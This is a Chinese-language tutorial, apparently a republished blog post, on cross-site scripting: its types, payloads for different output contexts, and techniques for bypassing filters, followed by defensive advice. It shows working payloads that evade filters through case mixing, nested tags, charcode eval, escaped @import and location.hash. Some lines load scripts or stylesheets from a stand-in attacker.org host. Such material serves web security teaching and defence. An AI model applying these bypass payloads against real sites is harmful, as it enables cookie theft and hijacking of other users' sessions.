前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XSS绕过姿势

XSS绕过姿势

作者头像
HACK学习
发布2019-08-05 20:39:08
3.2K0
发布2019-08-05 20:39:08
举报
文章被收录于专栏:HACK学习HACK学习

定义

XSS为跨站攻击脚本,指攻击者将js脚本(可能是其他脚本)插入到web页面,当用户浏览该网页是,代码就会执行,造成恶意攻击。

分类

Xss分为三种,反射型xss、存储型xss、DOM-based xss。反射型xss多指欺骗用户去点击包含漏洞的链接,造成攻击,危害小,不持久,服务器内不包含js脚本代码。存储型xss多指攻击者利用评论,发表文章等可以将代码写入服务器的地方,将恶意代码植入服务器,当用户浏览该网页时,存储在里面的代码会执行,造成攻击。DOM-based xss指的是通过修改页面的DOM节点形成的xss。注意函数document.getElementById().

漏洞特征

常存在于用户与服务器进行数据交互的地方,一般在应用拼接变量到html页面时产生。其实用户可以上传的所有数据,包括header等都可能包含脚本文件并加入服务器。

在HTML标签中输出:

代码:<div>$var</div>

Xss payload:

代码语言:javascript
复制
<div><script>alert(/xss/)</script></div>

代码:<a href=# >$var</a>

Xss payload:

代码语言:javascript
复制
<a href=# ><img src="" onerror="alert('xss')"/></a>

所有在标签中输出的变量,未经任何处理,都可能造成xss.防御方法是对变量使用HtmlEncode.

在html属性中输出:

代码:

代码语言:javascript
复制
<div id="abc" name="$var"></div>

Xss paload:

代码语言:javascript
复制
<div id="abc" name=""<script>alert('xss')</script><""></div>

防御方法也是对变量HtmlEncode.

在script标签中输出:

代码:<script>var x=="$var";</script>

Xss payload:

代码语言:javascript
复制
<script>var x=="";alert('xss');//"</script>或<script>var x==""</script><script>alert('xss')//"</script>

防御方法是使用JavascriptEncode

在事件中输出:

代码:<a href=# onclick="funcA('$var')>test</a>

Xss payload:

代码语言:javascript
复制
<a href=# onclick="funcA('');alert('xss');//')">test</a>

防御方式是使用JavascriptEncode

在css中输出:

Xss payload:

代码语言:javascript
复制
<STYLE>li {list-style-image:url("javascript:alert('xss')";}</STYLE><UL><LI>XSS

在STYLE等标签中插入url。造成攻击。一般尽可能的禁止用户可控制的变量在style标签,html标签的style属性,以及css文件中输出。如果真的有需求,使用encodeForCSS()函数。

在地址中输出:

代码:<a href="http://www.evil.com/?test=$var" >test</a>

Xsspayload:

代码语言:javascript
复制
<a href="http://www.evil.com/?test=" onclick="alert('xss')"" >test</a>

防御方法是用URLEncode。但注意别改变url语义。

document.write在页面输出:

代码:<script>document.write(location.hash.substring(1))</script>

直接在页面输出锚点id,构造一个带xss的锚点即可。

Xss payload:

代码语言:javascript
复制
http://www.aa.php(http://www.aa.php/)#<script>alert('xss')</script>

XSS payload构造技巧及绕过姿势

script标签:

如果服务器对script进行了一次移除(preg_replace函数),可以用大小写:

<scripT>alert('xss')</scripT>

如果过滤是加了/i,大小写无法绕过,则用双标签:

<scr<script>ipt>alert(‘xss’)</scr</script>ipt>

如果过滤了alert,可用:

<script>eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))</script>

该标签还可以用于定义一个行内的脚本或者从其他地方引入脚本:

<script src="http://attacker.org/malicious.js"></script>

base>标签:

该标签用于定义页面上的所有使用相对路径标签的hosting地址。该标签将指定其后的标签默认从某一地址取url。作用于该标签之后的所有标签。攻击者可以在页面插入标签,可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中所有使用相对路径的标签,所以一定要过滤这个标签。

Onclick事件:

<input type="text" name="test" onclick="alert('xss')">

Onmousedown事件:

<input type="text" name="test" onmousedown="alert('xss')">

img标签配合onerror事件:

<img src=”” onerror=”alert(‘xss’)”/>

Window.name对象:

攻击者可以利用这个对象实现跨域跨页面传递数据。Window对象是浏览器的窗体,很多时候不受同源策略的限制。方法是对window.name复制,便可以执行该段代码。执行跳转页面等操作。

行内样式(inline style):

我们同样可以在行内样式里利用 IE 浏览器支持的动态特性:

<div style="color: expression(alert('XSS'))">

过滤器会检查关键字 style,随后跟随的不能是 <,在随后是 expression:

/style=[^<]*((expression\s*?[<]∗?)|(behavior\s*:))[^<]*(?=\>)/Uis

所以,让我们需要把 < 放到其他地方:

<div style="color: '<'; color: expression(alert('XSS'))">

css import:

IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行 JavaScript 代码了。

代码语言:javascript
复制
<style>

@import url("<http://attacker.org/malicious.css>");

</style>

malicious.css:

body {

color: expression(alert('XSS'));

}

为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:

代码语言:javascript
复制
<style>

@imp\ort url("http://attacker.org/malicious.css");

</style>

IE 浏览器会接受反斜杠,但是我们绕过了过滤器

利用字符编码:

%c1;alert(/xss/);//

因为有些页面会编码转义,而%c1与\两个字符组合在一起形成一个新的字符,从而绕过转义。

绕过长度限制:
1.利用js事件绕过
2.将payload写到别处,通过简短的代码加载这段代码。

比如location.hash。并且根据http协议,这里的内容不会在http包中发。所以web日志不会记录到里面的内容:

代码语言:javascript
复制
<input type="text" value="" onclick="eval(location.hash.substr(1))" />

因为location.hash的第一个字符是#,所以必须除掉第一个字符。

构造url:http://www.a.com/test.html#alert('xss')

3.利用注释符绕过长度限制

如果我们能控制两个文本框,第二个文本框可以控制更多字节,可以用html的注释符打通两个文本框,例:

代码语言:javascript
复制
<input id=1 type="text" value=""/>

Xxxxxxxx

<inpur id=2 type="text" value=""/>

第一个文本框输入”><!–

第二个文本框输入–>

构造出:

代码语言:javascript
复制
<input id=1 type="text" value=""><!--"/>Xxxxxxxx<inpur id=2 type="text" value="--><script>alert('xss')</script>"/>
单引号绕过:

用单引号闭合绕开过滤

防御措施

1.在服务器配置选项中将session.cookie_httponly设为true。防止攻击者劫持cookie 2.对即将输出内容进行转义或编码,采用HtmlEncode, htmlspecialchars(),htmlentities() ,JavascriptEncode等函数处理后再输出。 3.处理用户输入的图片,视频的富文本,采用白名单的方式过滤ifrme,script,base,form,svg,img等危险标签。尽可能禁用用户自定义css和style。以及on事件 4.对所有用户提交的内容进行可靠的验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受长度范围内、采用适当格式、预期字符内容提交,其他内容一律以白名单的方式过滤。 5.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站执行 4.确认接收的内容不包含js脚本,去掉任何对远程内容的引用(特别是css和js) 6.对javascript字段进行检索,若含有,一般都含有xss攻击 7.禁用script,base等危险标签。

8.处理用户输入的图片,视频的富文本,采用白名单的方式过滤ifrme,script,base,form,svg等危险标签。尽可能禁用用户自定义css和style。以及on事件

9.防御DOM Based xss 当变量输出到script时进行一次js编码,然后在document.write到页面时,如果是输出到js事件或者js脚本,则再js编码一次。如果输出到html内容或者属性,则再做一次htmlEncode。

推荐阅读:

XSS绕过WAF总结:

http://vinc.top/2014/11/13/%E7%BB%95%E8%BF%87waf%E7%9A%84%E5%A7%BF%E5%8A%BF%E6%80%BB%E7%BB%93/

WAF的XSS绕过姿势

https://www.freebuf.com/articles/web/81959.html

XSS过滤速查表

https://www.freebuf.com/articles/web/153055.html

参考来源: jlzj's博客

作者: jlzj

如有侵权,请联系删除

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-06-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 定义
  • 分类
  • 漏洞特征
    • 在HTML标签中输出:
      • 在html属性中输出:
        • 在script标签中输出:
          • 在事件中输出:
            • 在css中输出:
              • 在地址中输出:
                • document.write在页面输出:
                • XSS payload构造技巧及绕过姿势
                  • script标签:
                    • base>标签:
                      • Onclick事件:
                        • Onmousedown事件:
                          • img标签配合onerror事件:
                            • Window.name对象:
                              • 行内样式(inline style):
                                • css import:
                                  • 利用字符编码:
                                    • 绕过长度限制:
                                      • 单引号绕过:
                                      • 防御措施
                                      领券
                                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档